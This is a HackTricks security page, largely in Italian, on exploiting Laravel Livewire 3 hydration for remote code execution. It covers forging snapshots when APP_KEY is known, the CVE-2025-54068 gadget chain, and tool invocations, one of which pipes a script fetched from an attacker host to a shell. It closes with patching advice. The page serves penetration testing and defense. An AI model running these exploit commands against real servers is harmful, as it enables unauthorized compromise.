Laravel Livewire Hydration & Synthesizer Abuse
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Riepilogo della macchina a stati di Livewire
I componenti Livewire 3 scambiano il loro stato tramite snapshots che contengono data, memo e un checksum. Ogni POST a /livewire/update riidrata la snapshot JSON lato server ed esegue le calls/updates in coda.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Chiunque in possesso di APP_KEY (usata per derivare $hashKey) può quindi forgiare snapshot arbitrari ricalcolando l’HMAC.
Le proprietà complesse sono codificate come tuple sintetiche rilevate da Livewire\Drawer\BaseUtils::isSyntheticTuple(); ogni tupla è [value, {"s":"<key>", ...meta}]. Il core di hydration delega semplicemente ogni tupla al synth selezionato in HandleComponents::$propertySynthesizers e procede ricorsivamente sui figli:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Questo design ricorsivo rende Livewire un motore di istanziazione di oggetti generico una volta che un attacker controlla o i metadati della tuple o qualsiasi tupla annidata processata durante la ricorsione.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – qualsiasi oggetto che usa
Illuminate\Bus\Queueableespone la proprietà pubblica$chaineded esegueunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) viene istanziato viaCollectionSynth/FormObjectSynthcon$chainedpubblico popolato. - phpggc Laravel/RCE4Adapted – il blob serializzato memorizzato in
$chained[0]costruiscePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()alla fine chiamacall_user_func_array($closure, $args)abilitandosystem($cmd). - Stealth termination – passando un secondo callable
FnStreamcome[new Laravel\Prompts\Terminal(), 'exit'], la request termina conexit()invece di una eccezione rumorosa, mantenendo pulita la risposta HTTP.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Lo strumento analizza lo snapshot catturato, inietta i gadget tuples, ricalcola il checksum e stampa un payload /livewire/update pronto per l’invio.
CVE-2025-54068 – RCE senza APP_KEY
Secondo l’avviso del vendor, il problema interessa Livewire v3 (>= 3.0.0-beta.1 e < 3.6.3) ed è unico per la v3.
updates vengono uniti nello stato del componente dopo che il checksum dello snapshot è stato convalidato. Se una proprietà all’interno dello snapshot è (o diventa) una tupla sintetica, Livewire riusa i suoi meta durante l’idratazione del valore di update controllato dall’attaccante:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Procedura di exploit:
- Trova un componente Livewire con una proprietà pubblica non tipizzata (es.,
public $count;). - Invia un update che imposti quella proprietà a
[]. Lo snapshot successivo ora la memorizza come[[], {"s": "arr"}].
Un flusso minimo di type-juggling è il seguente:
POST /livewire/update
...
"updates": {"count": []}
Poi lo snapshot successivo memorizza una tupla che conserva i metadati del synth arr:
"count": [[], {"s": "arr"}]
- Crea un altro payload
updatesin cui quella proprietà contiene un array profondamente annidato che incorpora tuple come[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Durante la ricorsione,
hydrate()valuta ogni figlio annidato indipendentemente, quindi le chiavi/classi synth scelte dall’attaccante vengono rispettate anche se la tupla esterna e il checksum non sono mai cambiati. - Riusa le stesse primitive
CollectionSynth/FormObjectSynthper istanziare un gadget Queueable il cui$chained[0]contiene il payload phpggc. Livewire elabora gli updates falsificati, invocadispatchNextJobInChain(), e raggiungesystem(<cmd>)senza conoscereAPP_KEY.
Motivi principali per cui questo funziona:
updatesnon sono coperti dal checksum dello snapshot.getMetaForPath()si fida dei metadati synth che esistevano per quella proprietà anche se l’attaccante li aveva precedentemente forzati a diventare una tupla tramite weak typing.- La ricorsione combinata con il weak typing permette a ogni array annidato di essere interpretato come una nuova tupla, così chiavi synth arbitrarie e classi arbitrarie arrivano infine all’hydration.
Livepyre – end-to-end exploitation
Livepyre automatizza sia la CVE senza APP_KEY sia il percorso signed-snapshot:
- Identifica la versione di Livewire in uso analizzando
<script src="/livewire/livewire.js?id=HASH">e mappando l’hash alle release vulnerabili. - Raccoglie snapshot di riferimento riproducendo azioni innocue ed estraendo
components[].snapshot. - Genera o un payload solo
updates(CVE-2025-54068) o uno snapshot falsificato (APP_KEY noto) che incorpora la catena phpggc. - Se non viene trovato nessun parametro di tipo object in uno snapshot, Livepyre ricorre al brute-forcing dei parametri candidati per raggiungere una proprietà coercibile.
Uso tipico:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check esegue una verifica non distruttiva, -F salta il version gating, -H e -P aggiungono header o proxy personalizzati, e --function/--param personalizzano la funzione php invocata dalla gadget chain.
Considerazioni difensive
- Aggiornare a build Livewire corrette (>= 3.6.4 secondo il bollettino del vendor) e applicare la patch fornita dal vendor per CVE-2025-54068.
- Evitare proprietà pubbliche debolmente tipizzate nei componenti Livewire; tipi scalari espliciti impediscono che i valori delle proprietà vengano forzati in array/tuple.
- Registrare solo i synthesizers di cui si ha realmente bisogno e trattare i metadati controllati dall’utente (
$meta['class']) come non attendibili. - Rifiutare aggiornamenti che cambiano il tipo JSON di una proprietà (es. scalar -> array) a meno che non sia esplicitamente consentito, e ricalcolare i metadati synth invece di riutilizzare tuple obsolete.
- Ruotare
APP_KEYprontamente dopo qualsiasi divulgazione perché consente la creazione offline di snapshot contraffatti indipendentemente da quanto il codice sia stato patchato.
Riferimenti
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


